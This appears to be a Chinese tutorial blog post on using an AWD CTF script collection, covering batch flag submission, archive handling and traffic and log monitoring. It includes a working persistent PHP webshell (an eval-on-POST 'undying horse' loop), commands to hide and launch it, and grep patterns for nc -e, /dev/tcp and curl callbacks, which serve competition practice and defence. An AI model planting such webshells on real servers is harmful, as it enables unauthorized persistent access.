AWD攻防赛脚本集合实战指南:从解压到不死马部署
简介这份AWD攻防赛脚本集合面向CTF/AWD竞赛选手、安全爱好者及战队成员针对攻防对抗中常见的批量攻击、权限维持、文件上传与日志审计需求提供可落地的脚本与工具可用于赛前模拟和实战快速响应。压缩包共包含33个文件涵盖12个Python脚本、6个PHP脚本、部分pyc编译文件以及txt备忘、rar辅助工具和exe程序整体仅3.14MB轻量且便于赛前快速部署。内容覆盖从攻击到防守的完整链路如批量生成不死马、上传shell获取Flag、WAF防护、Linux文件监控与Web日志分析工具等不少脚本支持直接运行或二次修改也可根据规则自行调整适合作为个人AWD工具箱的基础模块。目前已有407人学习使用适合希望在短时间内掌握AWD攻防节奏、提升对抗效率的选手参考借鉴。1. AWD 攻防赛脚本集合是什么不只是一堆 py 文件AWDAttack With Defense攻防兼备赛制里真正拉开差距的不是某个 0day而是开局前五分钟你有没有趁手的脚本。很多队伍下载了一个名为AWD攻防赛脚本集合.7z的压缩包解压之后看到十几个.py、.sh、.php文件却不知道先跑哪个、改哪个参数、哪些脚本其实已经过时甚至带毒。这里的核心问题不是“你有没有脚本”而是“你能不能在三分钟内把脚本改到适配当前靶机”。本文只讲两件事这个压缩包里通常装了什么以及你拿到之后应该怎么处理、怎么改、怎么在真实回合里用起来。适合即将参加高校 AWD 或国企 CTF 内部赛的选手也适合想从零维护一套自己脚本库的蓝队同学。2. 脚本集合的组成批量提交、不死马、流量监控与 getshell 工具2.1 先拆开看典型的 AWD 脚本集里有什么一份比较完整的 AWD 脚本集合常见的目录结构如下AWD-scripts/ ├── flag_submit/ │ ├── submit_all.py # 批量提交 flag │ └── config.ini # 提交地址、token、目标列表 ├── webshell/ │ ├── shell.php # 常见一句话木马 │ ├── memshell/ # 不死马变种 │ └── waf_bypass/ # 绕过函数字典 ├── monitor/ │ ├── tcpdump_capture.sh # 流量抓取脚本 │ └── log_watcher.py # 日志监控检测对手攻击路径 ├── exploit/ │ ├── get_flag.py # 批量利用某漏洞获取 flag │ ├── upload_shell.py # 批量上传木马 │ └── pwn_tools.py # 远程命令执行封装 └── utils/ ├── ssh_brute.py # 弱口令批量尝试 └── hash_check.py # 文件哈希校验找后门这里最关键的是flag_submit和monitor两个目录。很多新手把精力全放在 exploit 上但 AWD 的得分公式是防守分 * 回合数 攻击分防守分靠的是你服务不掉线、flag 没被拿走、不死马持续存活。flag_submit负责把每次攻击拿到的 flag 自动提交到平台省去手动复制粘贴的 3 秒时间monitor负责在对手打进来的时候留下记录便于赛后复盘——但它的即时价值在于你从日志里看到的攻击 payload就是下一回合攻击别人最有效的武器。2.2 批量 flag 提交脚本参数和逻辑不要只改地址submit_all.py一般长这样import requests import re import time from configparser import ConfigParser config ConfigParser() config.read(config.ini) submit_url config.get(submit, url) token config.get(submit, token) target_file config.get(submit, target_file) flag_pattern re.compile(rflag\{[a-zA-Z0-9_-]\}) def submit_flag(flag): try: r requests.post(submit_url, data{token: token, flag: flag}, timeout5) if r.status_code 200 and success in r.text: print(f[] {flag} 提交成功) return True else: print(f[-] {flag} 提交失败: {r.text[:80]}) except Exception as e: print(f[!] 提交异常: {e}) return False def main(): with open(target_file, r) as f: for line in f: line line.strip() if not line: continue # 从每个目标返回的内容里提取 flag result fetch_target(line) match flag_pattern.search(result) if match: submit_flag(match.group()) time.sleep(0.5) # 避免触发频率限制 if __name__ __main__: main()这段代码有几个必须改的参数不光是 URLtimeout5是 HTTP 请求超时回合后期平台负载高建议调到 10否则大量请求会误报失败。time.sleep(0.5)是提交间隔比赛平台一般有频率限制实测 0.3~0.5 秒比较安全低于 0.1 秒会被封 token。target_file是目标列表通常每行一个 IP:端口。注意有些 AWD 平台用域名堡垒机访问靶机这里要写内网域名而不是 IP。fetch_target函数在各个队伍里差异很大有的是直接requests.get打一个已知 RCE 的 URL有的是用 pwn 库发一段 payload 交互式拿返回。建议把它单独抽出来因为这可能是你唯一需要每场都改的地方。2.3 不死马和流量监控最容易在赛后留下一地鸡毛的脚本不死马常驻内存的 PHP webshell是 AWD 里最出名的脚本之一。常见写法是while(true)循环加usleep每几毫秒把木马写回服务器。这里有个常见的致命误用很多脚本集合里的不死马根本没改文件名和密码所有队伍都拿着同样的x.php?passcmd在互相打。正确做法至少是?php ignore_user_abort(true); set_time_limit(0); $file /tmp/..md5(teamA)..php; // 文件名带自己队伍标识 $content ?php eval($_POST[md5(teamA)]); ?; // 密码也带标识 while(1){ file_put_contents($file, $content); chmod($file, 0644); usleep(300000); // 0.3 秒写一次 clearstatcache(); } ?注意这里故意没用unlink(__FILE__)因为大部分脚本集合的源码里这一行是坏的——删了源文件后 PHP 解释器会继续执行内存中的代码但很多环境配置了open_basedir或禁用了解释型写入导致不死马一旦写入失败就彻底没了。我一般建议先测试一次写入是否成功再决定要不要加自删除逻辑。流量监控的脚本反而是整套集合里最值得保留的。tcpdump_capture.sh通常长这样#!/bin/bash IFACE${1:-eth0} OUTDIR/tmp/traffic mkdir -p $OUTDIR tcpdump -i $IFACE -w $OUTDIR/capture_$(date %s).pcap -z gzip -G 60-G 60表示每 60 秒生成一个新文件-z gzip是转储后自动压缩。这个设计的价值在于回放比赛结束后你可以用tcpdump -r capture.pcap -A | grep -E flag|cmd|pass查看对手的攻击方式。但要注意-z参数在部分老版本 tcpdump 里不存在如果报错就换成-C 100按文件大小切割或者去掉-z手动 gzip。3. 拿到文件先做这四件事解压、哈希校验、危险脚本排查与加固3.1 Linux 下解压 7z 文件先确认装了 p7zip很多人用tar -xf去解.7z然后报错这不是你命令写错了是工具不对。7z 格式需要 p7zip 或者 7zipDebian/Ubuntu 系统安装后直接解压# 安装 p7zip-full包含 7z 和 7za 两个命令 sudo apt-get install -y p7zip-full # 进入压缩包所在目录先用 l 参数看内容别急着解 7z l AWD攻防赛脚本集合.7z # 正式解压保留目录结构 7z x AWD攻防赛脚本集合.7z -o/nopt/awd_scripts # 如果压缩包加密了AWD 群里常见密码分享到一半撤回 7z x AWD攻防赛脚本集合.7z -ppassword_placeholder命令说明7z l只是列出压缩包内容方便你确认里面有没有隐藏目录或伪装文件-o指定输出目录注意-o后紧跟路径、没有空格这是 7z 命令行最容易被坑的参数写法。如果解压时报Cannot open file as archive先用file AWD攻防赛脚本集合.7z看文件头常见原因是文件在传输过程中被截断或加上了下载工具的后缀后缀。Windows 环境下也可以用 7-Zip 的图形界面直接解压但如果你想在自动化流程里校验内容建议用 7z.exe 命令行# 在 Windows PowerShell 中假设 7z.exe 在 C:\Program Files\7-Zip\ C:\Program Files\7-Zip\7z.exe t D:\downloads\AWD攻防赛脚本集合.7z C:\Program Files\7-Zip\7z.exe x D:\downloads\AWD攻防赛脚本集合.7z -oD:\awd_scriptst是 test 参数只检查压缩包完整性不解压。这一步很值得做——AWD 群里传的压缩包很多是用zip -P或 7z 加密后二次传播的偶尔会碰到文件损坏或被人塞了私货的情况先 test 再解压能省掉很多 debug 时间。3.2 7z 压缩文件获取哈希值传到靶机前先留底AWD 脚本集合经常要被传到多台靶机上。这里有一件很多人不做但值得做的事解压前先记录哈希值。因为 7z 文件本身是二进制的你在宿主机的 Python 环境里可以直接用hashlib计算不需要装额外工具import hashlib import sys filename AWD攻防赛脚本集合.7z sha256 hashlib.sha256() sha1 hashlib.sha1() md5 hashlib.md5() with open(filename, rb) as f: while True: chunk f.read(65536) # 64KB 缓冲避免大文件占满内存 if not chunk: break sha256.update(chunk) sha1.update(chunk) md5.update(chunk) print(fSHA256: {sha256.hexdigest()}) print(fSHA1: {sha1.hexdigest()}) print(fMD5: {md5.hexdigest()})为什么是 64KB 分块读取而不是一次性f.read()AWD 脚本集一般只有几 MB一次性读也没问题但如果你养成了分块的习惯以后处理抓到的 pcap 流量包或加密容器镜像时就不会爆内存。拿到哈希后在靶机上比对文件完整性用sha256sum AWD攻防赛脚本集合.7z md5sum AWD攻防赛脚本集合.7z记录哈希的核心动机不只是防传输错误更多是防对手的投毒AWD 赛场上经常有人故意把带有后门的“脚本集”传到公共共享目录别人一解压执行flag 就被自动偷走。自己传文件之前先算好哈希等比赛结束再对比一次能确认靶机上跑的东西是不是自己传上去的那份。3.3 危险脚本排查去掉密码、回调地址和自删除逻辑解压之后不要直接在比赛环境里运行全部脚本。你首先要做的是 grep 一遍把可能对你产生反噬的代码找出来grep -rn curl\|wget\|bash\|nc -e\|/dev/tcp --include*.sh --include*.py . grep -rn http://\|https:// --include*.php --include*.py . grep -rn eval\|assert\|base64_decode --include*.php .第一行查外部回连如果脚本里有curl http://xxx或者nc -e /bin/sh说明这个脚本可能在拿到 shell 后把数据发给第三方而不是发给你。第二行查硬编码 URL很多脚本集把上一场比赛的平台地址写死在代码里你如果不改就直接用flag 提交会全部落到别人的账号。第三行查 PHP 危险函数对不上本地环境版本的话极容易直接报 500。需要用到的参数-r递归搜索目录-n显示行号方便定位--include限定文件后缀避免匹配到压缩包里的二进制这里的加固逻辑是你拿到的脚本集合是“上一个人的现场”不是“你本场的地基”。把密码改掉、把提交地址改掉、把回调地址删掉三元组缺一不可。3.4 7z 命令行加密自己分发脚本时的配置一致性如果你准备把自己的脚本打包给队员或者赛后提交给组委会可以用 7z 命令行加密保证配置文件和密码不会在传输过程中裸奔# 加密压缩密码用 AES-256文件名也加密 7z a -t7z -m0lzma2 -mx9 -mheon -pYourNewPass my_awd_tools.7z ./AWD-scripts/参数拆解-m0lzma2使用 LZMA2 算法压缩率比默认的 LZMA 更高适合文本为主的脚本文件-mx9最大压缩级别脚本集合体积小不操心压缩时间-mheon加密文件头这样7z l列不出内部文件名只有输入密码才能看到目录结构-p后直接跟密码注意密码里有特殊字符时用单引号包裹防止 shell 展开这个命令不是为了生产环境的安全而是为了“在多台靶机之间传配置”时不至于明文泄露账号密码。记住一件事7z 的加密强度取决于密码复杂度不要用123456或队伍名否则等于没加密。4. 攻防回合实战用脚本顶住前三个 flag 周期4.1 开局前 5 分钟按优先级部署三个脚本AWD 通常是每 5 分钟或 10 分钟一个回合开局前 5 分钟有三种脚本必须跑起来优先级从高到低是不死马 → 流量监控 → 批量提交脚本。为什么不死马排第一因为对方先手拿到的 webshell 会在前几个回合反复删除你的文件而一旦你的不死马先跑起来删掉的文件会自动回写至少能让对手多花一轮时间干这件事情。# 部署不死马把 shell.php 改名为不容易被扫到的名字 mv /tmp/awd_scripts/webshell/shell.php /var/www/html/.index.php # 在本地启动不死马用 nohup 防止 ssh 断开后进程退出 nohup php /var/www/html/.index.php /dev/null 21 # 确认进程存活看到 PID 才说明跑起来了 ps aux | grep php提示很多靶机的 web 目录有写入权限限制nohup跑不起来的时候先测ls -la看目录属主和写权限别急着改脚本。4.2 回合中段监控日志自动定位攻击路径flag 周期的中段是最容易被偷家的时间。此时你的tcpdump应该已经跑了三四分钟手动去翻 pcap 不是好选择更实际的做法是监控 web 日志# 监听实时日志过滤常见攻击特征 tail -f /var/log/apache2/access.log | grep -E eval|base64|cmd|cat /flag|system\(如果日志里出现了?cmdid这种请求说明对手已经打进来了。这时候你需要的不是去杀进程而是顺着这个 payload 在tcpdump的 pcap 里找同源的攻击包tcpdump -r /tmp/traffic/capture_*.pcap -A | grep -E pass|cmd|whoami用比赛中保存的 pcap 回放对手的指令轨迹往往能直接看到对方用的 webshell 密码和路径顺手就能回去打他同款漏洞。4.3 回合轮转批量提交和批量利用的节奏控制AWD 的得分点是“每回合结束前必须提交 flag”而提交脚本的常见问题是跑得太快第一个回合就把所有攻击方法都用了一遍结果后半场无攻击手段可用只能干守。我一般把 attack 分三轮# 第一轮只打脚本包里默认的弱口令 常见 RCE python3 exploit/get_flag.py --targets targets.txt --method default # 第二轮补上从对方日志里学到的 payload python3 exploit/get_flag.py --targets targets.txt --method from_log # 第三轮回到监控看哪些目标被我们打穿但服务还在 python3 monitor/log_watcher.py --check-alive这样的节奏变化是为了让对手摸不到你的攻击模式。脚本get_flag.py里通常会有一个 method 参数分发如果你自己改的脚本没有这个参数就用环境变量代替export TARGET_MODEaggressive python3 exploit/get_flag.py环境变量比命令行参数好在多个脚本共用一个配置时不会出现参数传错导致 flag 提交到错误平台的情况。5. 把脚本集合改造成自己的目录与配置拿到二次传播的压缩包也不慌AWD 脚本集合真正有用的价值在于它的目录结构和参数位点而不是某一行具体的 exploit。你要做的是把这个压缩包当作种子按照自己的习惯重新组织目录并固化一套更新的命令流。一个常被忽视的技巧是把每个脚本的配置项统一到一个 config.ini 中而不是散落在每个文件的顶部常量里。因为比赛现场你不可能一边敲vim一边找变量统一配置意味着只需改一次[submit] url http://10.0.0.2:8000/flag token teamA_token_here target_file targets.txt interval 0.4 [monitor] pid_file /tmp/awd_monitor.pid pcap_dir /tmp/traffic log_path /var/log/apache2/access.log [compress] password S3cure_AwD_7z backup_name backup_awd_scripts.7z然后写一个reload_config.py脚本在所有工具执行前读取该配置这样你换比赛时不会再犯“改了提交地址却忘了改密码”的错。我也建议在本地准备一个最小化自测脚本专门用来验证压缩包里的工具没有依赖缺失python3 -c import requests, paramiko, hashlib; print(deps ok) php -m | grep -E sockets|curl|pdo把这个验证命令写进.bashrc或做成pre_check.sh赛前跑一遍三秒钟排查掉依赖问题比到现场才发现 Python 环境缺库要高效得多。最后值得一提的是拿到任何别人的脚本包第一时间用 7z 重新压一份带时间戳的版本date_str$(date %Y%m%d_%H%M) 7z a -t7z -mx5 -p存档密码 awd_backup_${date_str}.7z ./AWD-scripts/这份归档的哈希值记在你的答题记录或备忘录里用于赛后对比靶机文件是否被对手篡改。AWD 拼到最后一小时拼的就是谁的文件更干净、谁的回滚更快。本文还有配套的精品资源点击获取

相关新闻

从魔术方法到POP链:PHP反序列化漏洞原理与实战防御

从魔术方法到POP链:PHP反序列化漏洞原理与实战防御

我第一次在CTF里遇到PHP反序列化题目时,整个人是懵的。一串带着花括号的字符串,解码后竟然能直接执行系统命令,当时的我盯着payload看了半天,愣是没明白它是怎么跑起来的。后来在真实代码审计里反复碰到类似问题,又啃了…

2026/9/15 3:22:59 阅读更多 →
企业微信OAuth2.0集成实战与安全优化

企业微信OAuth2.0集成实战与安全优化

1. 企业微信OAuth2.0集成背景与核心挑战 在企业数字化转型过程中,系统间的安全集成始终是个关键课题。最近在帮某大型零售企业做ERP系统与企业微信的深度对接时,遇到了一个典型场景:当员工从企业微信工作台打开内部采购系统时,需要…

2026/9/20 9:42:35 阅读更多 →
Python工业数据清洗流水线实战:从TB级混乱数据到精准分析

Python工业数据清洗流水线实战:从TB级混乱数据到精准分析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/15 8:02:08 阅读更多 →

最新新闻

MFC afxmessagebox 5个高频坑:官方文档太烂,这份避坑指南救急

MFC afxmessagebox 5个高频坑:官方文档太烂,这份避坑指南救急

MFC afxmessagebox 5个高频坑:官方文档太烂,这份避坑指南救急 微软官方文档关于 afxmessagebox 的说明冗长且晦涩,初学者往往迷失在参数定义中,导致简单弹窗写出复杂 Bug。…

2026/9/22 2:31:26 阅读更多 →
数据结构题集速查手册:告别调不通,5招提升10倍性能

数据结构题集速查手册:告别调不通,5招提升10倍性能

数据结构题集速查手册:告别调不通,5招提升10倍性能 刚拿到一道经典数据结构题,从博客复制代码,改改变量名,运行直接报错。心里那股火蹭就上来了,明明逻辑看着对,为什么就是跑不通?这种“代码能看懂,运行全崩溃”的窘境,是每个写代码的人必经的劫…

2026/9/22 2:31:26 阅读更多 →
3步搞定六年级必读课外书API变更保姆级教程

3步搞定六年级必读课外书API变更保姆级教程

3步搞定六年级必读课外书API变更保姆级教程 版本升级后 API 全变了,你的代码是不是直接崩了?别慌,这篇保姆级教程带你从底层逻辑到实战代码,彻底搞懂数据接口重构。 一句话原理 接口契约变更导致客户端解析失败,核心在于 Schema…

2026/9/22 2:31:26 阅读更多 →
HaRdEn避坑指南:3个维度选型不踩雷

HaRdEn避坑指南:3个维度选型不踩雷

HaRdEn避坑指南:3个维度选型不踩雷 配置环境就卡半天,是不是让你怀疑人生?很多开发者在接入 HaRdEn 相关组件时,第一反应就是查教程,结果越查越乱,版本冲突、依赖缺失、权限报错接踵而至。这期我们直接上干货,一份针对 HaRdEn…

2026/9/22 2:31:26 阅读更多 →
3步搞定fulltest:保姆级教程带你从零搭项目

3步搞定fulltest:保姆级教程带你从零搭项目

3步搞定fulltest:保姆级教程带你从零搭项目 很多刚毕业的朋友跟我吐槽,Python语法背得滚瓜烂熟,LeetCode刷了三百题,但真让他写个像样的项目,脑子瞬间一片空白。这种“只会写函数,不会搭架构”的困境,简直是新手入行的最大拦路…

2026/9/22 2:31:26 阅读更多 →
苹果电脑ps快捷键最佳实践:告别报错堆栈,效率翻倍

苹果电脑ps快捷键最佳实践:告别报错堆栈,效率翻倍

苹果电脑ps快捷键最佳实践:告别报错堆栈,效率翻倍 刚接手苹果电脑做设计,是不是满屏的快捷键冲突让你头大?Mac键盘布局跟Windows不一样,按习惯敲键位,结果PS直接弹出红色报错窗口,或者功能完全不对路。看着那一堆看不懂的报错信息,心里…

2026/9/22 2:30:26 阅读更多 →

日新闻

3台商务办公笔记本实测:手写实现环境配置,告别卡半天

3台商务办公笔记本实测:手写实现环境配置,告别卡半天

3台商务办公笔记本实测:手写实现环境配置,告别卡半天 配置环境就卡半天?别怪机器慢,多半是你没选对工具链。在Java、Go或Python的项目现场, 手写实现…

2026/9/22 0:00:41 阅读更多 →
剑帝加点速查手册:3分钟搞懂核心逻辑

剑帝加点速查手册:3分钟搞懂核心逻辑

剑帝加点速查手册:3分钟搞懂核心逻辑 面试被问原理答不上来,是不是常态?别慌。很多开发者对着 GitHub 开源仓库里的代码发呆,看似简单实则暗藏玄机。今天这份【剑帝加点】速查手册,直接带你拆解核心实现,把面试必考的原理讲透。…

2026/9/22 0:00:41 阅读更多 →
手写实现图片压缩网站核心:搞定WebP转换与质量调优

手写实现图片压缩网站核心:搞定WebP转换与质量调优

手写实现图片压缩网站核心:搞定WebP转换与质量调优 复制来的代码跑不通不知道怎么调?别慌,这种“复制粘贴地狱”在开发圈太常见了。尤其是做 图片压缩网站…

2026/9/22 0:00:41 阅读更多 →

周新闻

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

直接铺开项目本身吧。这几个月我一直在折腾一件事:用Flutter给OpenHarmony做一款游戏集合类的App,说白了就是把若干小游戏塞进一个壳里,用统一入口分发。这个方向本身不算新鲜,真正让我花了不少心思的,是首页那堆游戏卡…

2026/9/21 3:13:20 阅读更多 →
Word表格编号全攻略:从列表编号到题注交叉引用

Word表格编号全攻略:从列表编号到题注交叉引用

写Word文档,最让人头疼的往往是那些“看起来不起眼”的小问题。比如表格编号这事:今天在表后面多加了两个空白行,明天给客户交稿前发现整个章节的编号全部错位,光是挨个改序号就能耗掉大半个下午。我前阵子帮人整理一份上百页的技…

2026/9/21 2:19:36 阅读更多 →
从第一个站到第二个站:独立开发者的静态网站选型与落地实践

从第一个站到第二个站:独立开发者的静态网站选型与落地实践

1. 项目概述1.1 核心需求解析做独立开发者这几年,说实话,第一个网站上线的那天晚上我兴奋得没睡着。但等它跑了半年,流量惨淡、功能臃肿、代码自己都懒得看第二遍之后,我才慢慢琢磨明白一个道理:第一个网站是练手&…

2026/9/21 4:51:05 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/21 15:36:51 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/21 15:36:51 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/19 23:35:34 阅读更多 →